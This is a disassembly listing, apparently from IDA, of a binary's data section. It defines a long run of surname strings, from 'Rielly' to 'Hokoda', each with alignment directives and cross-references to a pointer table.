aRielly db 'Rielly',0 ; DATA XREF: .data:0042E754o
align 4
aRichmond db 'Richmond',0 ; DATA XREF: .data:0042E750o
align 10h
aRhea db 'Rhea',0 ; DATA XREF: .data:0042E74Co
align 4
aResnik db 'Resnik',0 ; DATA XREF: .data:0042E748o
align 10h
aRepetto db 'Repetto',0 ; DATA XREF: .data:0042E744o
aRenick db 'Renick',0 ; DATA XREF: .data:0042E740o
align 10h
aRemak db 'Remak',0 ; DATA XREF: .data:0042E73Co
align 4
aReinold db 'Reinold',0 ; DATA XREF: .data:0042E738o
aCunningham db 'Cunningham',0 ; DATA XREF: .data:0042E734o
align 4
aReedquist db 'Reedquist',0 ; DATA XREF: .data:0042E730o
align 4
aReddenTyler db 'Redden-Tyler',0 ; DATA XREF: .data:0042E72Co
align 4
aRayport db 'Rayport',0 ; DATA XREF: .data:0042E728o
aRapple db 'Rapple',0 ; DATA XREF: .data:0042E724o
align 4
aRankin db 'Rankin',0 ; DATA XREF: .data:0042E720o
align 10h
aRangan db 'Rangan',0 ; DATA XREF: .data:0042E71Co
align 4
aRaney db 'Raney',0 ; DATA XREF: .data:0042E718o
align 10h
aRajagopalan db 'Rajagopalan',0 ; DATA XREF: .data:0042E714o
aRadeke db 'Radeke',0 ; DATA XREF: .data:0042E710o
align 4
aRabkin db 'Rabkin',0 ; DATA XREF: .data:0042E70Co
align 4
aRabe db 'Rabe',0 ; DATA XREF: .data:0042E708o
align 4
aQuetin db 'Quetin',0 ; DATA XREF: .data:0042E704o
align 4
aQuaday db 'Quaday',0 ; DATA XREF: .data:0042E700o
align 4
aPynchon db 'Pynchon',0 ; DATA XREF: .data:0042E6FCo
aPugh db 'Pugh',0 ; DATA XREF: .data:0042E6F8o
align 4
aPuccia db 'Puccia',0 ; DATA XREF: .data:0042E6F4o
align 4
aProthrowStith db 'Prothrow-Stith',0 ; DATA XREF: .data:0042E6F0o
align 4
aProietti db 'Proietti',0 ; DATA XREF: .data:0042E6ECo
align 4
aPritz db 'Pritz',0 ; DATA XREF: .data:0042E6E8o
align 10h
aPritchard db 'Pritchard',0 ; DATA XREF: .data:0042E6E4o
align 4
aPrevost db 'Prevost',0 ; DATA XREF: .data:0042E6E0o
aPreucel db 'Preucel',0 ; DATA XREF: .data:0042E6DCo
aPresper db 'Presper',0 ; DATA XREF: .data:0042E6D8o
aPowers db 'Powers',0 ; DATA XREF: .data:0042E6D4o
align 4
aPoolman db 'Poolman',0 ; DATA XREF: .data:0042E6D0o
aPoma db 'Poma',0 ; DATA XREF: .data:0042E6CCo
align 4
aPolitis db 'Politis',0 ; DATA XREF: .data:0042E6C8o
aPolanyi db 'Polanyi',0 ; DATA XREF: .data:0042E6C4o
aPolak db 'Polak',0 ; DATA XREF: .data:0042E6C0o
align 4
aPoirier db 'Poirier',0 ; DATA XREF: .data:0042E6BCo
aPointer db 'Pointer',0 ; DATA XREF: .data:0042E6B8o
aPoincaire db 'Poincaire',0 ; DATA XREF: .data:0042E6B4o
align 10h
aPocobene db 'Pocobene',0 ; DATA XREF: .data:0042E6B0o
align 4
aPo db 'Po',0 ; DATA XREF: .data:0042E6ACo
align 10h
aPlous db 'Plous',0 ; DATA XREF: .data:0042E6A8o
align 4
aPlasket db 'Plasket',0 ; DATA XREF: .data:0042E6A4o
aPlant db 'Plant',0 ; DATA XREF: .data:0042E6A0o
align 4
aPlancon db 'Plancon',0 ; DATA XREF: .data:0042E69Co
aPinot db 'Pinot',0 ; DATA XREF: .data:0042E698o
align 4
aPilbeam db 'Pilbeam',0 ; DATA XREF: .data:0042E694o
aPfister db 'Pfister',0 ; DATA XREF: .data:0042E690o
aPettit db 'Pettit',0 ; DATA XREF: .data:0042E68Co
align 10h
aPettibone db 'Pettibone',0 ; DATA XREF: .data:0042E688o
align 4
aPetruzello db 'Petruzello',0 ; DATA XREF: .data:0042E684o
align 4
aPeters db 'Peters',0 ; DATA XREF: .data:0042E680o
align 10h
aPerrimon db 'Perrimon',0 ; DATA XREF: .data:0042E67Co
align 4
aPerone db 'Perone',0 ; DATA XREF: .data:0042E678o
align 4
aPerna db 'Perna',0 ; DATA XREF: .data:0042E674o
align 4
aPerlman db 'Perlman',0 ; DATA XREF: .data:0042E670o
aPerlak db 'Perlak',0 ; DATA XREF: .data:0042E66Co
align 4
aPerko db 'Perko',0 ; DATA XREF: .data:0042E668o
align 4
aPereira db 'Pereira',0 ; DATA XREF: .data:0042E664o
aPenny db 'Penny',0 ; DATA XREF: .data:0042E660o
align 4
aPeishel db 'Peishel',0 ; DATA XREF: .data:0042E65Co
aPederson db 'Pederson',0 ; DATA XREF: .data:0042E658o
align 4
aPearlberg db 'Pearlberg',0 ; DATA XREF: .data:0042E654o
align 4
aPeabody db 'Peabody',0 ; DATA XREF: .data:0042E650o
aPaynter db 'Paynter',0 ; DATA XREF: .data:0042E64Co
aPawloski db 'Pawloski',0 ; DATA XREF: .data:0042E648o
align 10h
aPavlon db 'Pavlon',0 ; DATA XREF: .data:0042E644o
align 4
aPavetti db 'Pavetti',0 ; DATA XREF: .data:0042E640o
aPattullo db 'Pattullo',0 ; DATA XREF: .data:0042E63Co
align 4
aPatrick db 'Patrick',0 ; DATA XREF: .data:0042E638o
aPatefield db 'Patefield',0 ; DATA XREF: .data:0042E634o
align 10h
aPascucci db 'Pascucci',0 ; DATA XREF: .data:0042E630o
align 4
aPartridge db 'Partridge',0 ; DATA XREF: .data:0042E62Co
align 4
aParris db 'Parris',0 ; DATA XREF: .data:0042E628o
align 10h
aParmeggiani db 'Parmeggiani',0 ; DATA XREF: .data:0042E624o
aPaoletti db 'Paoletti',0 ; DATA XREF: .data:0042E620o
align 4
aPantilla db 'Pantilla',0 ; DATA XREF: .data:0042E61Co
align 4
aPanizzon db 'Panizzon',0 ; DATA XREF: .data:0042E618o
align 10h
aPanadero db 'Panadero',0 ; DATA XREF: .data:0042E614o
align 4
aPalmitesta db 'Palmitesta',0 ; DATA XREF: .data:0042E610o
align 4
aPallara db 'Pallara',0 ; DATA XREF: .data:0042E60Co
aPalepu db 'Palepu',0 ; DATA XREF: .data:0042E608o
align 4
aPalayoor db 'Palayoor',0 ; DATA XREF: .data:0042E604o
align 4
aPaine db 'Paine',0 ; DATA XREF: .data:0042E600o
align 4
aPaesdealmeida db 'PaesDealmeida',0 ; DATA XREF: .data:0042E5FCo
align 4
aOvid db 'Ovid',0 ; DATA XREF: .data:0042E5F8o
align 4
aOuchida db 'Ouchida',0 ; DATA XREF: .data:0042E5F4o
aOtten db 'Otten',0 ; DATA XREF: .data:0042E5F0o
align 4
aOttaviani db 'Ottaviani',0 ; DATA XREF: .data:0042E5ECo
align 10h
aOstrowski db 'Ostrowski',0 ; DATA XREF: .data:0042E5E8o
align 4
aOspina db 'Ospina',0 ; DATA XREF: .data:0042E5E4o
align 4
aOrsi db 'Orsi',0 ; DATA XREF: .data:0042E5E0o
align 4
aOrfield db 'Orfield',0 ; DATA XREF: .data:0042E5DCo
aOray db 'Oray',0 ; DATA XREF: .data:0042E5D8o
align 4
aOpel db 'Opel',0 ; DATA XREF: .data:0042E5D4o
align 4
aOMeara db 'O',27h,'meara',0 ; DATA XREF: .data:0042E5D0o
aOman db 'Oman',0 ; DATA XREF: .data:0042E5CCo
align 4
aOMalley db 'O',27h,'malley',0 ; DATA XREF: .data:0042E5C8o
align 10h
aOlszewski db 'Olszewski',0 ; DATA XREF: .data:0042E5C4o
align 4
aOlson db 'Olson',0 ; DATA XREF: .data:0042E5C0o
align 4
aOlsen db 'Olsen',0 ; DATA XREF: .data:0042E5BCo
align 4
aOldford db 'Oldford',0 ; DATA XREF: .data:0042E5B8o
aOHagan db 'O',27h,'hagan',0 ; DATA XREF: .data:0042E5B4o
aOh db 'Oh',0 ; DATA XREF: .data:0042E5B0o
align 10h
aOgata db 'Ogata',0 ; DATA XREF: .data:0042E5ACo
align 4
aOcougne db 'Ocougne',0 ; DATA XREF: .data:0042E5A8o
aNuzum db 'Nuzum',0 ; DATA XREF: .data:0042E5A4o
align 4
aNotman db 'Notman',0 ; DATA XREF: .data:0042E5A0o
align 10h
aNitabach db 'Nitabach',0 ; DATA XREF: .data:0042E59Co
align 4
aNisenson db 'Nisenson',0 ; DATA XREF: .data:0042E598o
align 4
aNickoloff db 'Nickoloff',0 ; DATA XREF: .data:0042E594o
align 4
aNickerson db 'Nickerson',0 ; DATA XREF: .data:0042E590o
align 10h
aNi_0 db 'Ni',0 ; DATA XREF: .data:0042E58Co
align 4
aNg db 'Ng',0 ; DATA XREF: .data:0042E588o
align 4
aNewlin db 'Newlin',0 ; DATA XREF: .data:0042E584o
align 10h
aNewfeld db 'Newfeld',0 ; DATA XREF: .data:0042E580o
aNeuman db 'Neuman',0 ; DATA XREF: .data:0042E57Co
align 10h
aNesci db 'Nesci',0 ; DATA XREF: .data:0042E578o
align 4
aNenna db 'Nenna',0 ; DATA XREF: .data:0042E574o
align 10h
aNelson db 'Nelson',0 ; DATA XREF: .data:0042E570o
align 4
aNayduch db 'Nayduch',0 ; DATA XREF: .data:0042E56Co
aNaviaux db 'Naviaux',0 ; DATA XREF: .data:0042E568o
aNardone db 'Nardone',0 ; DATA XREF: .data:0042E564o
aNardi db 'Nardi',0 ; DATA XREF: .data:0042E560o
align 4
aNapolitano db 'Napolitano',0 ; DATA XREF: .data:0042E55Co
align 4
aNaddeo db 'Naddeo',0 ; DATA XREF: .data:0042E558o
align 4
aMussachio db 'Mussachio',0 ; DATA XREF: .data:0042E554o
align 4
aMumford db 'Mumford',0 ; DATA XREF: .data:0042E550o
aMulroy db 'Mulroy',0 ; DATA XREF: .data:0042E54Co
align 4
aMulkern db 'Mulkern',0 ; DATA XREF: .data:0042E548o
aMugnai db 'Mugnai',0 ; DATA XREF: .data:0042E544o
align 4
aMuello db 'Muello',0 ; DATA XREF: .data:0042E540o
align 10h
aMudarri db 'Mudarri',0 ; DATA XREF: .data:0042E53Co
aMotooka db 'Motooka',0 ; DATA XREF: .data:0042E538o
aMostafavi db 'Mostafavi',0 ; DATA XREF: .data:0042E534o
align 4
aMosler db 'Mosler',0 ; DATA XREF: .data:0042E530o
align 4
aMosher db 'Mosher',0 ; DATA XREF: .data:0042E52Co
align 4
aMortimer db 'Mortimer',0 ; DATA XREF: .data:0042E528o
align 4
aMorrow db 'Morrow',0 ; DATA XREF: .data:0042E524o
align 10h
aMorrison db 'Morrison',0 ; DATA XREF: .data:0042E520o
align 4
aMoreton db 'Moreton',0 ; DATA XREF: .data:0042E51Co
aMorani db 'Morani',0 ; DATA XREF: .data:0042E518o
align 4
aMooredech_ db 'MooreDeCh.',0 ; DATA XREF: .data:0042E514o
align 4
aMontilio db 'Montilio',0 ; DATA XREF: .data:0042E510o
align 4
aMonque db 'Monque',0 ; DATA XREF: .data:0042E50Co
align 4
aMoiamedi db 'Moiamedi',0 ; DATA XREF: .data:0042E508o
align 4
aMohr db 'Mohr',0 ; DATA XREF: .data:0042E504o
align 10h
aMoeller db 'Moeller',0 ; DATA XREF: .data:0042E500o
aModestino db 'Modestino',0 ; DATA XREF: .data:0042E4FCo
align 4
aMocroft db 'Mocroft',0 ; DATA XREF: .data:0042E4F8o
aMittal db 'Mittal',0 ; DATA XREF: .data:0042E4F4o
align 4
aMitropoulos db 'Mitropoulos',0 ; DATA XREF: .data:0042E4F0o
aGonzalez db 'Gonzalez',0 ; DATA XREF: .data:0042E4ECo
align 4
aMinichiello db 'Minichiello',0 ; DATA XREF: .data:0042E4E8o
aMini db 'Mini',0 ; DATA XREF: .data:0042E4E4o
align 10h
aMinh db 'Minh',0 ; DATA XREF: .data:0042E4E0o
align 4
aMills db 'Mills',0 ; DATA XREF: .data:0042E4DCo
align 10h
aMieher db 'Mieher',0 ; DATA XREF: .data:0042E4D8o
align 4
aMiddle db 'Middle',0 ; DATA XREF: .data:0042E4D4o
align 10h
aMichelman db 'Michelman',0 ; DATA XREF: .data:0042E4D0o
align 4
aMeurer db 'Meurer',0 ; DATA XREF: .data:0042E4CCo
align 4
aMetropolis db 'Metropolis',0 ; DATA XREF: .data:0042E4C8o
align 10h
aMetelka db 'Metelka',0 ; DATA XREF: .data:0042E4C4o
aMerz db 'Merz',0 ; DATA XREF: .data:0042E4C0o
align 10h
aMerseth db 'Merseth',0 ; DATA XREF: .data:0042E4BCo
aMerminod db 'Merminod',0 ; DATA XREF: .data:0042E4B8o
align 4
aMerlani db 'Merlani',0 ; DATA XREF: .data:0042E4B4o
aMerikoski db 'Merikoski',0 ; DATA XREF: .data:0042E4B0o
align 4
aMenzies db 'Menzies',0 ; DATA XREF: .data:0042E4ACo
aMemisoglu db 'Memisoglu',0 ; DATA XREF: .data:0042E4A8o
align 4
aMeccariello db 'Meccariello',0 ; DATA XREF: .data:0042E4A4o
aMcnulty db 'Mcnulty',0 ; DATA XREF: .data:0042E4A0o
aMcnealy db 'Mcnealy',0 ; DATA XREF: .data:0042E49Co
aMclaren db 'Mclaren',0 ; DATA XREF: .data:0042E498o
aMclane db 'Mclane',0 ; DATA XREF: .data:0042E494o
align 4
aMckenna db 'Mckenna',0 ; DATA XREF: .data:0042E490o
aMcintosh db 'Mcintosh',0 ; DATA XREF: .data:0042E48Co
align 4
aMcilroy db 'McIlroy',0 ; DATA XREF: .data:0042E488o
aMcgoldrick db 'Mcgoldrick',0 ; DATA XREF: .data:0042E484o
align 10h
aMcghee db 'Mcghee',0 ; DATA XREF: .data:0042E480o
align 4
aMcfadden db 'McFadden',0 ; DATA XREF: .data:0042E47Co
align 4
aMcelroy db 'Mcelroy',0 ; DATA XREF: .data:0042E478o
aMcdowell db 'Mcdowell',0 ; DATA XREF: .data:0042E474o
align 4
aMcclearn db 'Mcclearn',0 ; DATA XREF: .data:0042E470o
align 4
aMccall db 'Mccall',0 ; DATA XREF: .data:0042E46Co
align 4
aMccaffery db 'Mccaffery',0 ; DATA XREF: .data:0042E468o
align 4
aMcbride db 'Mcbride',0 ; DATA XREF: .data:0042E464o
aMazziotta db 'Mazziotta',0 ; DATA XREF: .data:0042E460o
align 4
aMazzali db 'Mazzali',0 ; DATA XREF: .data:0042E45Co
aMay db 'May',0 ; DATA XREF: .data:0042E458o
aMauzy db 'Mauzy',0 ; DATA XREF: .data:0042E454o
align 10h
aMattson db 'Mattson',0 ; DATA XREF: .data:0042E450o
aMatsukata db 'Matsukata',0 ; DATA XREF: .data:0042E44Co
align 4
aMatarazzo db 'Matarazzo',0 ; DATA XREF: .data:0042E448o
align 10h
aMatalka db 'Matalka',0 ; DATA XREF: .data:0042E444o
aMass db 'Mass',0 ; DATA XREF: .data:0042E440o
align 10h
aMarubini db 'Marubini',0 ; DATA XREF: .data:0042E43Co
align 4
aMarton db 'Marton',0 ; DATA XREF: .data:0042E438o
align 4
aMartochio db 'Martochio',0 ; DATA XREF: .data:0042E434o
align 10h
aMartinez db 'Martinez',0 ; DATA XREF: .data:0042E430o
align 4
aMarques db 'Marques',0 ; DATA XREF: .data:0042E42Co
aMargetts db 'Margetts',0 ; DATA XREF: .data:0042E428o
align 10h
aMargalit db 'Margalit',0 ; DATA XREF: .data:0042E424o
align 4
aMarcus db 'Marcus',0 ; DATA XREF: .data:0042E420o
align 4
aMarchbanks db 'Marchbanks',0 ; DATA XREF: .data:0042E41Co
align 10h
aMarch db 'March',0 ; DATA XREF: .data:0042E418o
align 4
aMantovan db 'Mantovan',0 ; DATA XREF: .data:0042E414o
align 4
aManganiello db 'Manganiello',0 ; DATA XREF: .data:0042E410o
aMandel db 'Mandel',0 ; DATA XREF: .data:0042E40Co
align 4
aManalis db 'Manalis',0 ; DATA XREF: .data:0042E408o
aMalova db 'Malova',0 ; DATA XREF: .data:0042E404o
align 4
aMaller db 'Maller',0 ; DATA XREF: .data:0042E400o
align 10h
aMalatesta db 'Malatesta',0 ; DATA XREF: .data:0042E3FCo
align 4
aMaisano db 'Maisano',0 ; DATA XREF: .data:0042E3F8o
aMaineHershey db 'Maine-Hershey',0 ; DATA XREF: .data:0042E3F4o
align 4
aMaier db 'Maier',0 ; DATA XREF: .data:0042E3F0o
align 4
aMahony db 'Mahony',0 ; DATA XREF: .data:0042E3ECo
align 4
aMaggio db 'Maggio',0 ; DATA XREF: .data:0042E3E8o
align 4
aMadigan db 'Madigan',0 ; DATA XREF: .data:0042E3E4o
aMacy db 'Macy',0 ; DATA XREF: .data:0042E3E0o
align 4
aMacmillan db 'MacMillan',0 ; DATA XREF: .data:0042E3DCo
align 4
aMackenney db 'Mackenney',0 ; DATA XREF: .data:0042E3D8o
align 4
aMacintyre db 'Macintyre',0 ; DATA XREF: .data:0042E3D4o
align 10h
aMaceachern db 'Maceachern',0 ; DATA XREF: .data:0042E3D0o
align 4
aMacdonald db 'Macdonald',0 ; DATA XREF: .data:0042E3CCo
align 4
aMaccormac db 'Maccormac',0 ; DATA XREF: .data:0042E3C8o
align 4
aMa db 'Ma',0 ; DATA XREF: .data:0042E3C4o
align 4
aLuzader db 'Luzader',0 ; DATA XREF: .data:0042E3C0o
aLutcavage db 'Lutcavage',0 ; DATA XREF: .data:0042E3BCo
align 4
aLussier db 'Lussier',0 ; DATA XREF: .data:0042E3B8o
aLuoma db 'Luoma',0 ; DATA XREF: .data:0042E3B4o
align 4
aLunetta db 'Lunetta',0 ; DATA XREF: .data:0042E3B0o
aLuecke db 'Luecke',0 ; DATA XREF: .data:0042E3ACo
align 4
aLuczkow db 'Luczkow',0 ; DATA XREF: .data:0042E3A8o
aLuciano db 'Luciano',0 ; DATA XREF: .data:0042E3A4o
aLucas db 'Lucas',0 ; DATA XREF: .data:0042E3A0o
align 4
aLubin db 'Lubin',0 ; DATA XREF: .data:0042E39Co
align 4
aLoza db 'Loza',0 ; DATA XREF: .data:0042E398o
align 4
aLowenstein db 'Lowenstein',0 ; DATA XREF: .data:0042E394o
align 10h
aLoveman db 'Loveman',0 ; DATA XREF: .data:0042E390o
aLoss db 'Loss',0 ; DATA XREF: .data:0042E38Co
align 10h
aLongworth db 'Longworth',0 ; DATA XREF: .data:0042E388o
align 4
aLocatelli db 'Locatelli',0 ; DATA XREF: .data:0042E384o
align 4
aLizardo db 'Lizardo',0 ; DATA XREF: .data:0042E380o
aLivolsi db 'Livolsi',0 ; DATA XREF: .data:0042E37Co
aLivi db 'Livi',0 ; DATA XREF: .data:0042E378o
align 10h
aLivernash db 'Livernash',0 ; DATA XREF: .data:0042E374o
align 4
aLitvak db 'Litvak',0 ; DATA XREF: .data:0042E370o
align 4
aLittle db 'Little',0 ; DATA XREF: .data:0042E36Co
align 4
aLipponen db 'Lipponen',0 ; DATA XREF: .data:0042E368o
align 4
aLippmann db 'Lippmann',0 ; DATA XREF: .data:0042E364o
align 4
aLinzee db 'Linzee',0 ; DATA XREF: .data:0042E360o
align 4
aLinehan db 'Linehan',0 ; DATA XREF: .data:0042E35Co
aLine db 'Line',0 ; DATA XREF: .data:0042E358o
align 4
aLinder db 'Linder',0 ; DATA XREF: .data:0042E354o
align 4
aLinda db 'Linda',0 ; DATA XREF: .data:0042E350o
align 4
aLinares db 'Linares',0 ; DATA XREF: .data:0042E34Co
aLim db 'Lim',0 ; DATA XREF: .data:0042E348o
aLightfoot db 'Lightfoot',0 ; DATA XREF: .data:0042E344o
align 4
aLight db 'Light',0 ; DATA XREF: .data:0042E340o
align 4
aLiem db 'Liem',0 ; DATA XREF: .data:0042E33Co
align 4
aLidano db 'Lidano',0 ; DATA XREF: .data:0042E338o
align 4
aLiakos db 'Liakos',0 ; DATA XREF: .data:0042E334o
align 4
aLessi db 'Lessi',0 ; DATA XREF: .data:0042E330o
align 4
aLesser db 'Lesser',0 ; DATA XREF: .data:0042E32Co
align 4
aLEnclos db 'l',27h,'Enclos',0 ; DATA XREF: .data:0042E328o
align 10h
aLenard db 'Lenard',0 ; DATA XREF: .data:0042E324o
align 4
aLeite db 'Leite',0 ; DATA XREF: .data:0042E320o
align 10h
aLeclercq db 'Leclercq',0 ; DATA XREF: .data:0042E31Co
align 4
aLecce db 'Lecce',0 ; DATA XREF: .data:0042E318o
align 4
aLecar db 'Lecar',0 ; DATA XREF: .data:0042E314o
align 4
aLawless db 'Lawless',0 ; DATA XREF: .data:0042E310o
aLashley db 'Lashley',0 ; DATA XREF: .data:0042E30Co
aLaserna db 'Laserna',0 ; DATA XREF: .data:0042E308o
aLanzit db 'Lanzit',0 ; DATA XREF: .data:0042E304o
align 4
aLantieri db 'Lantieri',0 ; DATA XREF: .data:0042E300o
align 4
aLankes db 'Lankes',0 ; DATA XREF: .data:0042E2FCo
align 10h
aLandes db 'Landes',0 ; DATA XREF: .data:0042E2F8o
align 4
aLallemant db 'Lallemant',0 ; DATA XREF: .data:0042E2F4o
; .data:0043294Co
align 4
aLaing db 'Laing',0 ; DATA XREF: .data:0042E2F0o
align 4
aLafler db 'Lafler',0 ; DATA XREF: .data:0042E2ECo
; .data:off_4327E8o
align 4
aLabunka db 'Labunka',0 ; DATA XREF: .data:0042E2E8o
aLa db 'La',0 ; DATA XREF: .data:0042E2E4o
align 10h
aKuwabara db 'Kuwabara',0 ; DATA XREF: .data:0042E2E0o
align 4
aKusman db 'Kusman',0 ; DATA XREF: .data:0042E2DCo
align 4
aKumar db 'Kumar',0 ; DATA XREF: .data:0042E2D8o
align 4
aKuenzli db 'Kuenzli',0 ; DATA XREF: .data:0042E2D4o
aKrysiak db 'Krysiak',0 ; DATA XREF: .data:0042E2D0o
aKroemer db 'Kroemer',0 ; DATA XREF: .data:0042E2CCo
aKraus db 'Kraus',0 ; DATA XREF: .data:0042E2C8o
align 4
aKrasney db 'Krasney',0 ; DATA XREF: .data:0042E2C4o
aKrailo db 'Krailo',0 ; DATA XREF: .data:0042E2C0o
align 4
aKraemer db 'Kraemer',0 ; DATA XREF: .data:0042E2BCo
aKovaks db 'Kovaks',0 ; DATA XREF: .data:0042E2B8o
align 4
aKotter db 'Kotter',0 ; DATA XREF: .data:0042E2B4o
align 4
aKorzybski db 'Korzybski',0 ; DATA XREF: .data:0042E2B0o
align 10h
aKool db 'Kool',0 ; DATA XREF: .data:0042E2ACo
align 4
aKonrad db 'Konrad',0 ; DATA XREF: .data:0042E2A8o
align 10h
aKoniaris db 'Koniaris',0 ; DATA XREF: .data:0042E2A4o
align 4
aKommer db 'Kommer',0 ; DATA XREF: .data:0042E2A0o
align 4
aKoivumaki db 'Koivumaki',0 ; DATA XREF: .data:0042E29Co
align 10h
aKohn db 'Kohn',0 ; DATA XREF: .data:0042E298o
align 4
aKoch db 'Koch',0 ; DATA XREF: .data:0042E294o
align 10h
aKobrick db 'Kobrick',0 ; DATA XREF: .data:0042E290o
aKnuff db 'Knuff',0 ; DATA XREF: .data:0042E28Co
align 10h
aKlint db 'Klint',0 ; DATA XREF: .data:0042E288o
align 4
aKlinkenborg db 'Klinkenborg',0 ; DATA XREF: .data:0042E284o
aKling db 'Kling',0 ; DATA XREF: .data:0042E280o
align 4
aKlemperer db 'Klemperer',0 ; DATA XREF: .data:0042E27Co
align 4
aKleinfelder db 'Kleinfelder',0 ; DATA XREF: .data:0042E278o
aKleiman db 'Kleiman',0 ; DATA XREF: .data:0042E274o
aKleckner db 'Kleckner',0 ; DATA XREF: .data:0042E270o
align 4
aKittridge db 'Kittridge',0 ; DATA XREF: .data:0042E26Co
align 4
aKirscht db 'Kirscht',0 ; DATA XREF: .data:0042E268o
aKippenberger db 'Kippenberger',0 ; DATA XREF: .data:0042E264o
align 4
aKinsley db 'Kinsley',0 ; DATA XREF: .data:0042E260o
aKindall db 'Kindall',0 ; DATA XREF: .data:0042E25Co
aKimura db 'Kimura',0 ; DATA XREF: .data:0042E258o
align 4
aKimmett db 'Kimmett',0 ; DATA XREF: .data:0042E254o
aKimmel db 'Kimmel',0 ; DATA XREF: .data:0042E250o
align 4
aKhong db 'Khong',0 ; DATA XREF: .data:0042E24Co
align 4
aKeul db 'Keul',0 ; DATA XREF: .data:0042E248o
align 4
aKerry db 'Kerry',0 ; DATA XREF: .data:0042E244o
align 4
aKendall db 'Kendall',0 ; DATA XREF: .data:0042E240o
aKemsley db 'Kemsley',0 ; DATA XREF: .data:0042E23Co
aKempton db 'Kempton',0 ; DATA XREF: .data:0042E238o
aKelsey db 'Kelsey',0 ; DATA XREF: .data:0042E234o
align 4
aKelker db 'Kelker',0 ; DATA XREF: .data:0042E230o
align 4
aKeith db 'Keith',0 ; DATA XREF: .data:0042E22Co
align 4
aKeepper db 'Keepper',0 ; DATA XREF: .data:0042E228o
aKeenan db 'Keenan',0 ; DATA XREF: .data:0042E224o
align 4
aKee db 'Kee',0 ; DATA XREF: .data:0042E220o
aKawachi db 'Kawachi',0 ; DATA XREF: .data:0042E21Co
aKasten db 'Kasten',0 ; DATA XREF: .data:0042E218o
align 10h
aKassower db 'Kassower',0 ; DATA XREF: .data:0042E214o
align 4
aKarpouzes db 'Karpouzes',0 ; DATA XREF: .data:0042E210o
align 4
aKangis db 'Kangis',0 ; DATA XREF: .data:0042E20Co
align 10h
aKamel db 'Kamel',0 ; DATA XREF: .data:0042E208o
align 4
aKalman db 'Kalman',0 ; DATA XREF: .data:0042E204o
align 10h
aKalinowski db 'Kalinowski',0 ; DATA XREF: .data:0042E200o
align 4
aKalil db 'Kalil',0 ; DATA XREF: .data:0042E1FCo
align 4
aKaligian db 'Kaligian',0 ; DATA XREF: .data:0042E1F8o
align 10h
aKalbfleisch db 'Kalbfleisch',0 ; DATA XREF: .data:0042E1F4o
aKafadar db 'Kafadar',0 ; DATA XREF: .data:0042E1F0o
aKaboolian db 'Kaboolian',0 ; DATA XREF: .data:0042E1ECo
align 10h
aKabbash db 'Kabbash',0 ; DATA XREF: .data:0042E1E8o
aJulious db 'Julious',0 ; DATA XREF: .data:0042E1E4o
aJuliano db 'Juliano',0 ; DATA XREF: .data:0042E1E0o
aJucks db 'Jucks',0 ; DATA XREF: .data:0042E1DCo
align 10h
aJorgensen db 'Jorgensen',0 ; DATA XREF: .data:0042E1D8o
align 4
aJolly db 'Jolly',0 ; DATA XREF: .data:0042E1D4o
align 4
aJohns db 'Johns',0 ; DATA XREF: .data:0042E1D0o
align 4
aJohannsen db 'Johannsen',0 ; DATA XREF: .data:0042E1CCo
align 4
aJohannesson db 'Johannesson',0 ; DATA XREF: .data:0042E1C8o
aJewett db 'Jewett',0 ; DATA XREF: .data:0042E1C4o
align 4
aJespersen db 'Jespersen',0 ; DATA XREF: .data:0042E1C0o
align 4
aJenkins db 'Jenkins',0 ; DATA XREF: .data:0042E1BCo
aJellis db 'Jellis',0 ; DATA XREF: .data:0042E1B8o
align 4
aJeffers db 'Jeffers',0 ; DATA XREF: .data:0042E1B4o
aJay db 'Jay',0 ; DATA XREF: .data:0042E1B0o
aJarrell db 'Jarrell',0 ; DATA XREF: .data:0042E1ACo
aJarnagin db 'Jarnagin',0 ; DATA XREF: .data:0042E1A8o
align 4
aJanjigian db 'Janjigian',0 ; DATA XREF: .data:0042E1A4o
align 4
aJamil db 'Jamil',0 ; DATA XREF: .data:0042E1A0o
align 4
aJain db 'Jain',0 ; DATA XREF: .data:0042E19Co
align 4
aJagoe db 'Jagoe',0 ; DATA XREF: .data:0042E198o
align 4
aJagger db 'Jagger',0 ; DATA XREF: .data:0042E194o
align 4
aJagers db 'Jagers',0 ; DATA XREF: .data:0042E190o
align 4
aJackson db 'Jackson',0 ; DATA XREF: .data:0042E18Co
aJacenko db 'Jacenko',0 ; DATA XREF: .data:0042E188o
aIyer db 'Iyer',0 ; DATA XREF: .data:0042E184o
align 4
aIsserman db 'Isserman',0 ; DATA XREF: .data:0042E180o
align 10h
aIsbill db 'Isbill',0 ; DATA XREF: .data:0042E17Co
align 4
aIsaievych db 'Isaievych',0 ; DATA XREF: .data:0042E178o
align 4
aIsaac db 'Isaac',0 ; DATA XREF: .data:0042E174o
align 4
aInniss db 'Inniss',0 ; DATA XREF: .data:0042E170o
align 4
aInamura db 'Inamura',0 ; DATA XREF: .data:0042E16Co
aIgarashi db 'Igarashi',0 ; DATA XREF: .data:0042E168o
align 4
aIchikawa db 'Ichikawa',0 ; DATA XREF: .data:0042E164o
align 4
aIaquinta db 'Iaquinta',0 ; DATA XREF: .data:0042E160o
align 10h
aHyde db 'Hyde',0 ; DATA XREF: .data:0042E15Co
align 4
aHutchings db 'Hutchings',0 ; DATA XREF: .data:0042E158o
align 4
aHurtubise db 'Hurtubise',0 ; DATA XREF: .data:0042E154o
align 10h
aHupp db 'Hupp',0 ; DATA XREF: .data:0042E150o
align 4
aHuntington db 'Huntington',0 ; DATA XREF: .data:0042E14Co
align 4
aHungerford db 'Hungerford',0 ; DATA XREF: .data:0042E148o
align 10h
aHuidekoper db 'Huidekoper',0 ; DATA XREF: .data:0042E144o
align 4
aHuey db 'Huey',0 ; DATA XREF: .data:0042E140o
align 4
aHoy db 'Hoy',0 ; DATA XREF: .data:0042E13Co
aHoward db 'Howard',0 ; DATA XREF: .data:0042E138o
align 10h
aHottle db 'Hottle',0 ; DATA XREF: .data:0042E134o
align 4
aHostage db 'Hostage',0 ; DATA XREF: .data:0042E130o
aHoshida db 'Hoshida',0 ; DATA XREF: .data:0042E12Co
aHorsley db 'Horsley',0 ; DATA XREF: .data:0042E128o
aHopkins db 'Hopkins',0 ; DATA XREF: .data:0042E124o
aHooker db 'Hooker',0 ; DATA XREF: .data:0042E120o
align 10h
aHolzman db 'Holzman',0 ; DATA XREF: .data:0042E11Co
aHolway db 'Holway',0 ; DATA XREF: .data:0042E118o
align 10h
aHolter db 'Holter',0 ; DATA XREF: .data:0042E114o
align 4
aHoloien db 'Holoien',0 ; DATA XREF: .data:0042E110o
aHolmes db 'Holmes',0 ; DATA XREF: .data:0042E10Co
align 4
aHokoda db 'Hokoda',0 ; DATA XREF: .data:0042E108o
align 10h
